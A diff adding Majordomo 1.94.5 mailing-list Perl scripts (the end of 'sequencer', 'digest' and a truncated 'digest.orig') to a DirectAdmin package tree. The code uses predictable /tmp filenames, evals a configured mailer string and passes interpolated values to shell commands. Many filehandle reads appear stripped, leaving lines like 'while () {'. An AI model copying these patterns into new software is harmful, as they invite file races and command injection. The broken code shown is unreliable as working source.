&abort("sequencer: Can't open /tmp/sequencer.$$.in: $!"); + +while () { + print IN $_; +} + +close(IN); + +open(IN, "/tmp/sequencer.$$.in") || + die("sequencer: Can't open /tmp/sequencer.$$.tmp: $!"); + +do { + $restart = 0; + $pre_hdr = 1; + while () { + if ($pre_hdr) { + if (/^\s*$/) { + # skip leading blank lines; usually only there if this is a + # restart after an in-body "Approved:" line + next; + } else { + $pre_hdr = 0; + $in_hdr = 1; + $kept_last = 0; + } + } + if ($in_hdr) { + if (/^\s*$/) { + # end of header; add new header fields + # if there is no subject, create one + if (!defined($subject)) { + local($foo); + if ($config_opts{$opt_l,"subject_prefix"} ne '') { + $foo = &config'substitute_values( + $config_opts{$opt_l,"subject_prefix"}, $opt_l); +# for sequencing we add a special keyword! + if (defined($opt_n)) { + $foo =~ s/\$SEQNUM/$seqnum/; + } + local($foo_pat) = $foo; + $foo_pat =~ s/(\W)/\\$1/g; + if (!/$foo_pat/) { + $foo = $foo . " "; + } + } + $subject = $foo . "Message for " . $opt_l; + print OUT $subject, "\n"; + } + + print OUT "Sender: $sender\n"; + if (defined($opt_p)) { + print OUT "Precedence: $opt_p\n"; + } + if (defined($opt_r)) { + print OUT "Reply-To: ", &config'substitute_values($opt_r), + "\n"; + } + + # print out additonal headers + if ( $config_opts{$opt_l,"message_headers"} ne '' ) { + local($headers) = &config'substitute_values ( + $config_opts{$opt_l,"message_headers"}, $opt_l); + $headers =~ s/\001/\n/g; + print OUT $headers; + } + + $in_hdr = 0; + print OUT $_; + + # print out front matter + if ( $config_opts{$opt_l,"message_fronter"} ne '' ) { + local($fronter) = &config'substitute_values ( + $config_opts{$opt_l,"message_fronter"}, $opt_l); + $fronter =~ s/\001|$/\n/g; + print OUT $fronter; + } + } elsif (/^approved:\s*(.*)/i && defined($opt_a)) { + $approved = &chop_nl($1); + if ($approved ne $opt_a && + !(&main'valid_passwd($listdir, $opt_l, $approved))) { + &bounce("Invalid 'Approved:' header"); + } + } elsif (/^from /i # skip all these headers + || /^sender:/i + || /^return-receipt-to:/i + || /^errors-to:/i + || /^return-path:/i + || (/^reply-to:/i && defined($opt_r)) # skip only if "-r" set + || (/^precedence:/i && defined($opt_p)) # skip only if "-p" set + || (/^received:/i && defined($opt_R)) # skip only if "-R" set + || (/^\s/ && ! $kept_last) # skip if skipped last + ) { + # reset $kept_last in case next line is continuation + $kept_last = 0; + } else { + # check for administrivia requests + if (defined($opt_s) && ! defined($approved) + && (/^subject:\s*subscribe\b/i || + /^subject:\s*unsubscribe\b/i || + /^subject:\s*help\b/i || + /^subject:\s*RCPT:\b/ || + /^subject:\s*Delivery Confirmation\b/ || + /^subject:\s*NON-DELIVERY of:/ || + /^subject:\s*Undeliverable Message\b/ || + /^subject:\s*Receipt Confirmation\b/ || + /^subject:\s*Failed mail\b/ || + /^subject:\s.*\bchange\b.*\baddress\b/ || + /^subject:\s*request\b.*\baddition\b/i)) { + &bounce("Admin request"); + } + + # prepend subject prefix + if ( (/^subject:\s*/i) && + ($config_opts{$opt_l,"subject_prefix"} ne '') + ) { + local($foo) = &config'substitute_values( + $config_opts{$opt_l,"subject_prefix"}, $opt_l); +# for sequencing we add a special keyword! + if (defined($opt_n)) { + $foo =~ s/\$SEQNUM/$seqnum/; + } + $subject = $_; + $subject =~ s/^subject:\s*(.*)/$1/i; + $subject = &chop_nl($foo . " " . $subject); + local($foo_pat) = $foo; + $foo_pat =~ s/(\W)/\\$1/g; + s/^subject:\s*/Subject: $foo /i if !/$foo_pat/; + } + + if ( /^from:\s*(.+)/i ) + { + $from = $1; + $from_last = 1; + } + elsif ( defined($from_last) ) + { + if ( /^\s+(.+)/ ) + { + $from .= " $1"; + } + else + { + undef($from_last); + } + } + &check_hdr_line($_); # check for length & balance + $kept_last = 1; + print OUT $_; + } + } else { + # this isn't a header line, so print it (maybe) + # first, though, is the first line of the body an "Approved:" line? + if (($body_len == 0) && /^approved:\s*(.*)/i && defined($opt_a)) { + # OK, is it a valid "Approved:" line? + $approved = &chop_nl($1); + if ($approved ne $opt_a && + !(&main'valid_passwd($listdir, $opt_l, $approved))) { + &bounce("Invalid 'Approved:' header"); + } else { + # Yes, it's a valid "Approved:" line... + # So, we start over + $restart = 1; + close(OUT); + unlink("/tmp/sequencer.$$.out"); + &open_temp(OUT, "/tmp/sequencer.$$.out") || + &abort("sequencer:2 Can't open /tmp/sequencer.$$.out: $!"); + last; + } + } + $body_len += length($_); + # make sure it doesn't make the message too long + if (defined($opt_M) && ! defined($approved) + && ($body_len > $opt_M)) { + &bounce("Message too long (>$opt_M)"); + } + # add admin-request recognition heuristics here... (body) + if (defined($opt_s) && ! defined($approved) && ($body_line++ < 5) && ( + /\badd me\b/i + || /\bdelete me\b/i || /\bremove\s+me\b/i + || /\bchange\b.*\baddress\b/ + || /\bsubscribe\b/i || /^sub\b/i + || /\bunsubscribe\b/i || /^unsub\b/i + || /^\s*help\s*$/i # help + || /^\s*info\s*$/i # info + || /^\s*info\s+\S+\s*$/i # info list + || /^\s*lists\s*$/i # lists + || /^\s*which\s*$/i # which + || /^\s*which\s+\S+\s*$/i # which address + || /^\s*index\s*$/i # index + || /^\s*index\s+\S+\s*$/i # index list + || /^\s*who\s*$/i # who + || /^\s*who\s+\S+\s*$/i # who list + || /^\s*get\s+\S+\s*$/i # get file + || /^\s*get\s+\S+\s+\S+\s*$/i # get list file + || /^\s*approve\b/i + || /^\s*passwd\b/i + || /^\s*newinfo\b/i + || /^\s*config\b/i + || /^\s*newconfig\b/i + || /^\s*writeconfig\b/i + || /^\s*mkdigest\b/i + )) { + &bounce("Admin request"); + } + print OUT $_; + } + } +} while ($restart); + +if ( $config_opts{$opt_l,"message_footer"} ne '' ) { + local($footer) = &config'substitute_values( + $config_opts{$opt_l,"message_footer"}, $opt_l); + $footer =~ s/\001/\n/g; + print OUT $footer; +} + +close(OUT); + +if ( defined($opt_I) && defined($from) && ! defined($approved) ) { + local($infile) = 0; + + @files = split (/[:\t\n]+/, $opt_I); + + foreach $file (@files) { + if ($file !~ /^\//) { + $file = "$listdir/$file"; + } + if ( open (LISTFD, "<${file}") != 0 ) { + @output = grep (&addr_match($from, $_), ); + close (LISTFD); + + if ( $#output != -1 ) { + $infile = 1; + last; + } + } else { + die("sequencer:Can't open $file: $!"); + } + } + + if ( $infile == 0 ) { + &bounce ("Non-member submission from [$from]"); + } +} + +if (defined($opt_A) && ! defined($approved)) { + &bounce("Approval required"); +} + +$sendmail_cmd = "/usr/lib/sendmail $opt_m -f$sendmail_sender " . + join(" ", @ARGV); + +if (defined($opt_d)) { + $| = 1; + print "Command: $sendmail_cmd\n"; + $status = (system("cat /tmp/sequencer.$$.out") >> 8); + unlink(); + +#remember to unlock the sequence file here! + if (defined($opt_n)) { + &main'lclose(SEQ); + } + exit($status); +} else { + local(*MAILOUT, *MAILIN, @mailer); + @mailer = split(' ', "$sendmail_cmd"); + open(MAILOUT, "|-") || &do_exec_sendmail(@mailer); +# create archival copy + if (defined($opt_N)) { + if (open (INDEX, ">>$filedir/$opt_l$filedir_suffix/INDEX")) { + $timenow = localtime(time); + printf(INDEX "%s\n\tFrom %s on %s\n", $subject, $from, $timenow); + close (INDEX); + } + open (ARCHIVE, ">$filedir/$opt_l$filedir_suffix/$seqnum"); + } + open(MAILIN, "/tmp/sequencer.$$.out"); + while () { + print MAILOUT $_; + if (defined($opt_N)) { + print ARCHIVE $_; + } + } + close(MAILOUT); + if (defined($opt_N)) { + close(ARCHIVE); + } + if (defined($opt_n)) { + $seqnum++; + &main'lreopen(SEQ, ">", "$seqfile"); + print SEQ $seqnum, "\n"; + &main'lclose(SEQ); + } + close(MAILIN); + unlink(); + exit(0); +} + +sub check_balance { + # set a temporary variable + local($t) = shift; + # strip out all nested parentheses + 1 while $t =~ s/\([^\(\)]*\)//g; + # strip out all nested angle brackets + 1 while $t =~ s/\<[^\<\>]*\>//g; + # if any parentheses or angle brackets remain, were imbalanced + if ($t =~ /[\(\)\<\>]/ && ! defined($approved)) { + &bounce("Imbalanced parentheses or angle brackets"); + return(undef); + } + return(1); +} + +sub check_hdr_line { + + local($_) = shift; + + if (! /^\s/) { # is this a continuation line? + # Not a continuation line. + # If $balanced_fld is defined, it means the last field was one + # that needed to have balanced "()" and "<>" (i.e., "To:", "From:", + # and "Cc:", so check it. We do it here in case the last field was + # multi-line. + + if (defined($balanced_fld)) { + &check_balance($balanced_fld); + } + + # we undefine $balanced_fld and reset $field_len; these may be set below + + undef($balanced_fld); + $field_len = 0; + } + + # is this a field that must be checked for balanced "()" and "<>"? + if (defined($balanced_fld) || /^from:/i || /^cc:/i || /^to:/i) { + # yes it is, but we can't check it yet because there might be + # continuation lines. Buffer it to be checked at the beginning + # of the next non-continuation line. + + # is this line too long? + if ((length($_) > 128) && ! defined($approved)) { + &bounce("Header line too long (>128)"); + return(undef); + } + + # is this field too long? + if ((($field_len += length($_)) > 1024) && ! defined($approved)) { + &bounce("Header field too long (>1024)"); + return(undef); + } + + $balanced_fld .= $_; + chop($balanced_fld); + } + + # if we get here, everything was OK. + return(1); +} + +sub bounce { + local($reason) = shift; + local($_); + + &resend_sendmail(BOUNCE, $sender, "BOUNCE $opt_l@$opt_h: $reason"); + + seek(IN, 0, 0); + while () { + print BOUNCE $_; + } + close(BOUNCE); + unlink(); + exit(0); +} + +sub resend_sendmail { + local(*MAIL) = shift; + local($to) = shift; + local($subject) = shift; + + # clean up the addresses, for use on the sendmail command line + local(@to) = &ParseAddrs($to); + for (@to) { + $_ = join(", ", &ParseAddrs($_)); + } + $to = join(", ", @to); + + # open the process + if (defined($opt_d)) { + # debugging, so just say it, don't do it + open(MAIL, ">-"); + print MAIL ">>> /usr/lib/sendmail -f$sendmail_sender -t\n"; + } else { + local(@mailer) = split(' ',"/usr/lib/sendmail -f$sendmail_sender -t"); + open(MAIL, "|-") || &do_exec_sendmail(@mailer); + } + + # generate the header + print MAIL <<"EOM"; +To: $to +From: $sender +Subject: $subject + +EOM + + return; +} diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/digest b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/digest new file mode 100644 index 0000000..e16d632 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/digest @@ -0,0 +1,504 @@ +#!/bin/perl + +# Original from J Greely , 9/30/92 +# +# Heavily modified by Brent Chapman + +# $Source: /sources/cvsrepos/majordomo/digest,v $ +# $Revision: 1.24 $ +# $Date: 2000/01/07 11:04:34 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Header: /sources/cvsrepos/majordomo/digest,v 1.24 2000/01/07 11:04:34 cwilson Exp $ +# +# + +# Before doing anything else tell the world I am majordomo +# The mj_ prefix is reserved for tools that are part of majordomo proper. +$main'program_name = 'mj_digest'; # '; + + +&init; +&readconfig; +$TEMP = (defined $TMPDIR && -d $TMPDIR) ? + "$TMPDIR/digest.$$" : "/usr/tmp/digest.$$"; + +if (defined($opt_r)) { + &receive_message; + if (&should_be_sent(1)) { + &make_digest; + } +} elsif (defined($opt_R)) { + &receive_message; +} elsif (defined($opt_m)) { + &make_digest; +} elsif (defined($opt_p)) { + if (&should_be_sent(1)) { + &make_digest; + } +} else { + &abort("Usage: digest {-r|-R|-m|-p} [-c config|(-C -l list)]\nStopped"); +} + +&free_lock($lockfile); + +exit(0); + +sub receive_message { + $i = 0; + do { + $file = sprintf("%s/%03d", $V{'INCOMING'}, ++$i); + } until (! -e $file); + + print STDERR "Receiving $i\n"; + open(MSG, ">$file") || &abort("open(MSG, \">$file\"): $!"); + + # copy the message + while () { + print MSG $_; + } + + close(MSG); +} + +# +# Use config variables to determine if a digest should be contructed +# and sent, or not. Measures line count and byte count of messages +# as they would appear in the digest, not as they exist in the spool +# dir. Side-effect: $file is the last file that should be included +# in this digest, based on the config variables. +# +sub should_be_sent { + # fudge factors for headers and footers + $sum = 600 + length($HEADER) + length($HEADERS) + length($TRAILER); + $lines = 25 + ($HEADER =~ s/\n/\n/g) + ($HEADERS =~ s/\n/\n/g) + + ($TRAILER =~ s/\n/\n/g); + ##print "start: lines = $lines\n"; + $i = shift; + while (1) { + $nextfile = sprintf("%s/%03d", $V{'INCOMING'}, $i++); + last unless (-e $nextfile); + $file = $nextfile; + open(COUNT, "<$file") || &abort("open(COUNT, \"<$file\"): $!"); + + $/ = ''; # grab the header + $head = ; + + # only count From/Date/Subject header fields to get a + # more accurate size and line count. + $head =~ s/\n\s+/ /g; + $head =~ /^(From:\s+.*)/i && ($sum += length($1)+1, $lines++); + $head =~ /^(Subject:\s+.*)/i && ($sum += length($1)+1, $lines++); + $head =~ /^(Date:\s+.*)/i && ($sum += length($1)+1, $lines++); + $sum++, $lines++; + + # count the body of the message + undef $/; + $body = ; + $sum += length($body); + $lines += ($body =~ s/\n/\n/g); # count newlines + + $/ = "\n"; + close(COUNT); + $sum += length($EB) + 3, $lines += 3; # account for message delimiter + + ##printf "After message %03d, lines = $lines\n", $i-1; + + if ($V{'DIGEST_SIZE'} && $sum > $V{'DIGEST_SIZE'}) { + return(1); + } + if ($V{'DIGEST_LINES'} && $lines > $V{'DIGEST_LINES'}) { + return(1); + } + if ($V{'MAX_AGE'} && (-M $file) > $V{'MAX_AGE'}) { + return(1); + } + } + + return(0); +} + +# +# Loop through calling 'should_be_sent' to find out how large each digest +# should be and calling send_digest to construct and send each digest. +# All the files in the spool directory are sent. This could be modified +# to only send "complete" digests. +# +# Note that this will quietly terminate if there are no messages in the +# spool. I find this preferable to an abort. +# +sub make_digest { + # disable age detection + $V{'MAX_AGE'} = 0; + # use 'should_be_sent' to find out how large each digest should be + # and loop through the spool dir until it's empty + $fnum = 0; + $nextfile = sprintf("%s/%03d", $V{'INCOMING'}, ++$fnum); + while (-e $nextfile) { + # starts at $fnum, sets '$file' to the last file to use + &should_be_sent($fnum); + &send_digest($file); + ($fnum) = $file =~ m#/(\d+)$#; + $nextfile = sprintf("%s/%03d", $V{'INCOMING'}, ++$fnum); + $NUMBER++; + } + + if (! $opt_d) { + if ( ! defined($opt_C) ) { + open(NUM_FILE, ">$V{'NUM_FILE'}") || + &abort("open(NUM_FILE, \">$NUM_FILE\"): $!"); + printf NUM_FILE "%d\n", $NUMBER; + close(NUM_FILE); + } else { # hurrah we are using the majordomo config file + $config_opts{$opt_l,"digest_issue"} = $NUMBER; + &config'writeconfig($listdir, $opt_l); + } + } +} + +# +# Contruct and send a digest using files in the spool directory up to and +# including the "last file" specified as the first argument. +# +sub send_digest { + local($lastfile) = shift; + if (opendir(DIR, $V{'INCOMING'})) { + @files = grep(/^\d+$/, readdir(DIR)); + closedir(DIR); + } + else { + &abort("Error opening $V{'INCOMING'}: $!\nStopped "); + } + &abort("No messages.\nStopped ") unless @files; + open(TEMP,">$TEMP") || &abort("$TEMP: $!\n"); + print STDERR "producing $V{'NAME'} V$VOLUME #$NUMBER\n"; + foreach (sort(@files)) { + $message = "$V{'INCOMING'}/$_"; + open(message) || &abort("$message: $!\n"); + print STDERR "\tprocessing $message\n"; + push(@processed,$message); + + $/ = ''; + $head = ; + $head =~ s/\n\s+/ /g; + $body = ""; + $subj = ($head =~ /^Subject:\s+(.*)/i)? $1: "[none]"; + ($from) = $head =~ /^From:\s+(.*)/i; + ($date) = $head =~ /^Date:\s+(.*)/i; + + undef $/; + $body = ; + close(message); + + # trim message fronter and footers inserted by resend in + # non digest version of list + if ($RMHEADER) { + $body =~ s/$RMHEADER/\n/; + } + if ($RMTRAILER) { + $body =~ s/$RMTRAILER/\n/; + } + + # escape ^From ... + $body =~ + s/^From (\S+\s+\w{3}\s+\w{3}\s+\d+\s+\d+:\d+:\d+)/>From $1/g; + $body =~ s/^-/- -/g; # escape encapsulation boundaries in message + # trim trailing \n's + $len = length($body) - 1; + $len-- while (substr($body,$len,1) eq "\n"); + substr($body,$len+1) = ""; + + $/ = "\n"; + +## note -- RFC 1153 claims the following headers should be retained, and +## presented in the following order: +## Date:, From:, To:, Cc:, Subject:, Message-ID:, and Keywords: + + push(@subj,$subj); + print TEMP <$DIGEST") || &abort("open(DIGEST, \">$DIGEST\"): $!"); + + print DIGEST <; + close(TEMP); + unlink($TEMP); + + $end = sprintf("End of %s V%d #%d", $V{'NAME'}, $VOLUME, $NUMBER); + print DIGEST $end, "\n"; + print DIGEST "*" x length($end), "\n"; + print DIGEST "\n"; + print DIGEST $TRAILER; + + close(DIGEST); + + if ($opt_d) { + warn "digest output in $TMPDIR/testdigest.$NUMBER\n"; + } else { + $sender = $V{'ERRORS-TO'}; + $mailcmd = eval qq/"$mailer"/; + system("$mailcmd $V{'REALLY-TO'} < $DIGEST"); + foreach $file (@processed) { + unlink($file); + } + } + + undef @subj; + undef @processed; + + return 0; +} + +sub init { + $HOME = $ENV{"HOME"} || (getpwuid($>))[7]; + chdir($HOME); + &getopt("drRmpc:Cl:z") || + &abort("Usage: digest {-r|-R|-m|-p} [-c config|(-C -l list)]\nStopped"); + $config = $opt_c || "$HOME/.digestrc"; + $SIG{'INT'} = 'cleanup'; + @MONTHS = ("January","February","March","April","May","June","July", + "August","September","October","November","December"); + @DAYS = ("Sunday","Monday","Tuesday","Wednesday","Thursday", + "Friday","Saturday"); + $EB = "-" x 30; +} + +sub readconfig { + if (defined($opt_C)) { + if (!defined($opt_l)) { + &abort("-C used without -l"); + } else { + # Read and execute the .cf file + $cf = $opt_c || $ENV{"MAJORDOMO_CF"} || + "/etc/majordomo.cf"; + require "$cf"; + + chdir($homedir); + + $opt_l =~ tr/A-Z/a-z/; + + require "config_parse.pl"; + +# Define all of the mailer properties: +# It is possible that one or both of $sendmail_command and $bounce_mailer +# are not defined, so we provide reasonable defaults. +$sendmail_command = "/usr/lib/sendmail" + unless defined $sendmail_command; +$mailer = "$sendmail_command -oi -oee -f\$sender" + unless defined $mailer; +$bounce_mailer = "$sendmail_command -f\$sender -t" + unless defined $bounce_mailer; +&set_abort_addr($whoami_owner); +&set_mail_from($whoami); +&set_mail_sender($whoami_owner); +&set_mailer($bounce_mailer); + + # get the digest config file + # Let's hope that nobody ever invokes us both with and + # without -C, since these locks don't interact + $lockfile = "$listdir/$opt_l.config.LOCK"; + &set_lock($lockfile) || + &abort("$program_name: can't get lock '$lockfile'\n"); + $lock_set = 1; + &get_config($listdir, $opt_l, "locked"); + + # get details of parent list footers and headers + if ($config_opts{$opt_l,"digest_rm_fronter"}) { + &get_config($listdir, $config_opts{$opt_l,"digest_rm_fronter"}); + $RMHEADER = $config_opts{$config_opts{$opt_l,"digest_rm_fronter"}, + "message_fronter"}; + $RMHEADER =~ s/([^A-Za-z0-9 \001])/\\\1/g; + $RMHEADER =~ s/\\\$(SENDER|VERSION|LIST)/\[\^\\n\]\*/g; + $RMHEADER =~ s/\001/\\n/g; + } + if ($config_opts{$opt_l,"digest_rm_footer"}) { + if ($config_opts{$opt_l,"digest_rm_footer"} ne + $config_opts{$opt_l,"digest_rm_fronter"}) { + &get_config($listdir, $config_opts{$opt_l,"digest_rm_footer"}); + } + $RMTRAILER = $config_opts{$config_opts{$opt_l,"digest_rm_footer"}, + "message_footer"}; + $RMTRAILER =~ s/([^A-Za-z0-9 \001])/\\\1/g; + $RMTRAILER =~ s/\\\$(SENDER|VERSION|LIST)/\[\^\\n\]\*/g; + $RMTRAILER =~ s/\001/\\n/g; + } + + # map config opts to internal variables and $V array + $HEADER = $config_opts{$opt_l,"message_fronter"}; + $HEADER =~ s/\001/\n/g; + $TRAILER = $config_opts{$opt_l,"message_footer"}; + $TRAILER =~ s/\001/\n/g; + $VOLUME = $config_opts{$opt_l,"digest_volume"}; + $NUMBER = $config_opts{$opt_l,"digest_issue"}; + $Precedence = $config_opts{$opt_l,"precedence"}; + $Precedence = "bulk" if ($Precedence eq ""); + $V{'ARCHIVE'} = "$filedir/$opt_l$filedir_suffix"; + $V{'DIGEST_SIZE'} = $config_opts{$opt_l, "maxlength"}; + $V{'DIGEST_LINES'} = $config_opts{$opt_l, "digest_maxlines"}; + $V{'MAX_AGE'} = $config_opts{$opt_l, "digest_maxdays"}; + $V{'ERRORS-TO'} = $config_opts{$opt_l,"sender"} . "@" . + ($config_opts{$opt_l,"resend_host"} + ||$whereami); + $V{'FROM'} = $config_opts{$opt_l, "sender"}. "@" . + ($config_opts{$opt_l,"resend_host"} + ||$whereami); + $V{'INCOMING'} = "$digest_work_dir/$opt_l"; + $V{'NAME'} = $config_opts{$opt_l,"digest_name"}; + $V{'REALLY-TO'} = $ARGV[0]."@".${whereami}; + $V{'REPLY-TO'} = $config_opts{$opt_l,"reply_to"}; + $V{'TO'} = "$opt_l\@$whereami"; + + # make the headers keyword work + if ( $config_opts{$opt_l,"message_headers"} ne '' ) { + $from = $V{'FROM'}; + $HEADERS = &config'substitute_values ( + $config_opts{$opt_l,"message_headers"}, $opt_l); + $HEADERS =~ s/\001/\n/g; + } + } # list is defined + } else { # not using -C + require "config_parse.pl"; + +# Define all of the mailer properties: +# The majordomo.cf file isn't used in this option, so fake everything. +$sendmail_command = "/usr/lib/sendmail" + unless defined $sendmail_command; +$mailer = "$sendmail_command -oi -oee -f\$sender" + unless defined $mailer; +$bounce_mailer = "$sendmail_command -fmajordomo-owner -t" + unless defined $bounce_mailer; +&set_abort_addr("majordomo-owner"); +&set_mail_from("majordomo-owner"); +&set_mail_sender("majordomo-owner"); +&set_mailer($bounce_mailer); + + open(config) || &abort("$config: $!\n"); + while () { + next if /^\s*$|^\s*#/; + chop; + ($key,$value) = split(/\s*=\s*/,$_,2); + $V{$key} = $value; + } + close(config); + + # Let's hope that nobody ever invokes us both with and + # without -C, since these locks don't interact + $lockfile = "$V{'INCOMING'}/.LOCK"; + &set_lock($lockfile) || + &abort("$program_name: can't get lock '$lockfile'\n"); + $lock_set = 1; + + open(header,$V{'HEADER'}) || &abort("$V{'HEADER'}: $!\n"); + $HEADER = join("",

); + close(header); + + open(trailer,$V{'TRAILER'}) || &abort("$V{'TRAILER'}: $!\n"); + $TRAILER = join("",); + close(trailer); + + open(VOL_FILE,$V{'VOL_FILE'}) || &abort("$V{'VOL_FILE'}: $!\n"); + $VOLUME = join("",); + chop($VOLUME); + close(VOL_FILE); + + open(NUM_FILE,$V{'NUM_FILE'}) || &abort("$V{'NUM_FILE'}: $!\n"); + $NUMBER = join("",); + chop($NUMBER); + close(NUM_FILE); + + } # end not using -C +} + +#my favorite of the existing getopt routines; twisted +# +sub getopt { + local($_,%opt,$rest) = (split(/([^:])/,$_[0]),''); + while ($_ = $ARGV[0], /^-(.)/ && shift(@ARGV)) { + $rest = $'; + last if $1 eq '-'; + if (!defined $opt{$1}) { + warn "Unrecognized switch \"-$1\".\n"; + return 0; + }elsif ($opt{$1}) { + $rest = shift(@ARGV) if $rest eq ''; + eval "\$opt_$1 = \$rest"; + }else{ + eval "\$opt_$1 = 1"; + $rest =~ /^(.)/; + redo if $rest ne ''; + } + } + return 1; +} + +sub cleanup { + unlink($TEMP); + exit(1); +} + +sub getdate { + local($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time); + $year += 1900; + return("$DAYS[$wday], $MONTHS[$mon] $mday $year"); +} + +sub abort { + local($msg) = shift; + + &free_lock($lockfile) if $lock_set; + die($msg); +} diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/digest.orig b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/digest.orig new file mode 100644 index 0000000..61680b3 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/digest.orig @@ -0,0 +1,503 @@ +#!/bin/perl + +# Original from J Greely , 9/30/92 +# +# Heavily modified by Brent Chapman + +# $Source: /sources/cvsrepos/majordomo/digest,v $ +# $Revision: 1.24 $ +# $Date: 2000/01/07 11:04:34 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Header: /sources/cvsrepos/majordomo/digest,v 1.24 2000/01/07 11:04:34 cwilson Exp $ +# +# + +# Before doing anything else tell the world I am majordomo +# The mj_ prefix is reserved for tools that are part of majordomo proper. +$main'program_name = 'mj_digest'; # '; + + +&init; +&readconfig; +$TEMP = (defined $TMPDIR && -d $TMPDIR) ? + "$TMPDIR/digest.$$" : "/usr/tmp/digest.$$"; + +if (defined($opt_r)) { + &receive_message; + if (&should_be_sent(1)) { + &make_digest; + } +} elsif (defined($opt_R)) { + &receive_message; +} elsif (defined($opt_m)) { + &make_digest; +} elsif (defined($opt_p)) { + if (&should_be_sent(1)) { + &make_digest; + } +} else { + &abort("Usage: digest {-r|-R|-m|-p} [-c config|(-C -l list)]\nStopped"); +} + +&free_lock($lockfile); + +exit(0); + +sub receive_message { + $i = 0; + do { + $file = sprintf("%s/%03d", $V{'INCOMING'}, ++$i); + } until (! -e $file); + + print STDERR "Receiving $i\n"; + open(MSG, ">$file") || &abort("open(MSG, \">$file\"): $!"); + + # copy the message + while () { + print MSG $_; + } + + close(MSG); +} + +# +# Use config variables to determine if a digest should be contructed +# and sent, or not. Measures line count and byte count of messages +# as they would appear in the digest, not as they exist in the spool +# dir. Side-effect: $file is the last file that should be included +# in this digest, based on the config variables. +# +sub should_be_sent { + # fudge factors for headers and footers + $sum = 600 + length($HEADER) + length($HEADERS) + length($TRAILER); + $lines = 25 + ($HEADER =~ s/\n/\n/g) + ($HEADERS =~ s/\n/\n/g) + + ($TRAILER =~ s/\n/\n/g); + ##print "start: lines = $lines\n"; + $i = shift; + while (1) { + $nextfile = sprintf("%s/%03d", $V{'INCOMING'}, $i++); + last unless (-e $nextfile); + $file = $nextfile; + open(COUNT, "<$file") || &abort("open(COUNT, \"<$file\"): $!"); + + $/ = ''; # grab the header + $head = ; + + # only count From/Date/Subject header fields to get a + # more accurate size and line count. + $head =~ s/\n\s+/ /g; + $head =~ /^(From:\s+.*)/i && ($sum += length($1)+1, $lines++); + $head =~ /^(Subject:\s+.*)/i && ($sum += length($1)+1, $lines++); + $head =~ /^(Date:\s+.*)/i && ($sum += length($1)+1, $lines++); + $sum++, $lines++; + + # count the body of the message + undef $/; + $body = ; + $sum += length($body); + $lines += ($body =~ s/\n/\n/g); # count newlines + + $/ = "\n"; + close(COUNT); + $sum += length($EB) + 3, $lines += 3; # account for message delimiter + + ##printf "After message %03d, lines = $lines\n", $i-1; + + if ($V{'DIGEST_SIZE'} && $sum > $V{'DIGEST_SIZE'}) { + return(1); + } + if ($V{'DIGEST_LINES'} && $lines > $V{'DIGEST_LINES'}) { + return(1); + } + if ($V{'MAX_AGE'} && (-M $file) > $V{'MAX_AGE'}) { + return(1); + } + } + + return(0); +} + +# +# Loop through calling 'should_be_sent' to find out how large each digest +# should be and calling send_digest to construct and send each digest. +# All the files in the spool directory are sent. This could be modified +# to only send "complete" digests. +# +# Note that this will quietly terminate if there are no messages in the +# spool. I find this preferable to an abort. +# +sub make_digest { + # disable age detection + $V{'MAX_AGE'} = 0; + # use 'should_be_sent' to find out how large each digest should be + # and loop through the spool dir until it's empty + $fnum = 0; + $nextfile = sprintf("%s/%03d", $V{'INCOMING'}, ++$fnum); + while (-e $nextfile) { + # starts at $fnum, sets '$file' to the last file to use + &should_be_sent($fnum); + &send_digest($file); + ($fnum) = $file =~ m#/(\d+)$#; + $nextfile = sprintf("%s/%03d", $V{'INCOMING'}, ++$fnum); + $NUMBER++; + } + + if (! $opt_d) { + if ( ! defined($opt_C) ) { + open(NUM_FILE, ">$V{'NUM_FILE'}") || + &abort("open(NUM_FILE, \">$NUM_FILE\"): $!"); + printf NUM_FILE "%d\n", $NUMBER; + close(NUM_FILE); + } else { # hurrah we are using the majordomo config file + $config_opts{$opt_l,"digest_issue"} = $NUMBER; + &config'writeconfig($listdir, $opt_l); + } + } +} + +# +# Contruct and send a digest using files in the spool directory up to and +# including the "last file" specified as the first argument. +# +sub send_digest { + local($lastfile) = shift; + if (opendir(DIR, $V{'INCOMING'})) { + @files = grep(/^\d+$/, readdir(DIR)); + closedir(DIR); + } + else { + &abort("Error opening $V{'INCOMING'}: $!\nStopped "); + } + &abort("No messages.\nStopped ") unless @files; + open(TEMP,">$TEMP") || &abort("$TEMP: $!\n"); + print STDERR "producing $V{'NAME'} V$VOLUME #$NUMBER\n"; + foreach (@files) { + $message = "$V{'INCOMING'}/$_"; + open(message) || &abort("$message: $!\n"); + print STDERR "\tprocessing $message\n"; + push(@processed,$message); + + $/ = ''; + $head = ; + $head =~ s/\n\s+/ /g; + $body = ""; + $subj = ($head =~ /^Subject:\s+(.*)/i)? $1: "[none]"; + ($from) = $head =~ /^From:\s+(.*)/i; + ($date) = $head =~ /^Date:\s+(.*)/i; + + undef $/; + $body = ; + close(message); + + # trim message fronter and footers inserted by resend in + # non digest version of list + if ($RMHEADER) { + $body =~ s/$RMHEADER/\n/; + } + if ($RMTRAILER) { + $body =~ s/$RMTRAILER/\n/; + } + + # escape ^From ... + $body =~ + s/^From (\S+\s+\w{3}\s+\w{3}\s+\d+\s+\d+:\d+:\d+)/>From $1/g; + $body =~ s/^-/- -/g; # escape encapsulation boundaries in message + # trim trailing \n's + $len = length($body) - 1; + $len-- while (substr($body,$len,1) eq "\n"); + substr($body,$len+1) = ""; + + $/ = "\n"; + +## note -- RFC 1153 claims the following headers should be retained, and +## presented in the following order: +## Date:, From:, To:, Cc:, Subject:, Message-ID:, and Keywords: + + push(@subj,$subj); + print TEMP <$DIGEST") || &abort("open(DIGEST, \">$DIGEST\"): $!"); + + print DIGEST <; + close(TEMP); + unlink($TEMP); + + $end = sprintf("End of %s V%d #%d", $V{'NAME'}, $VOLUME, $NUMBER); + print DIGEST $end, "\n"; + print DIGEST "*" x length($end), "\n"; + print DIGEST "\n"; + print DIGEST $TRAILER; + + close(DIGEST); + + if ($opt_d) { + warn "digest output in $TMPDIR/testdigest.$NUMBER\n"; + } 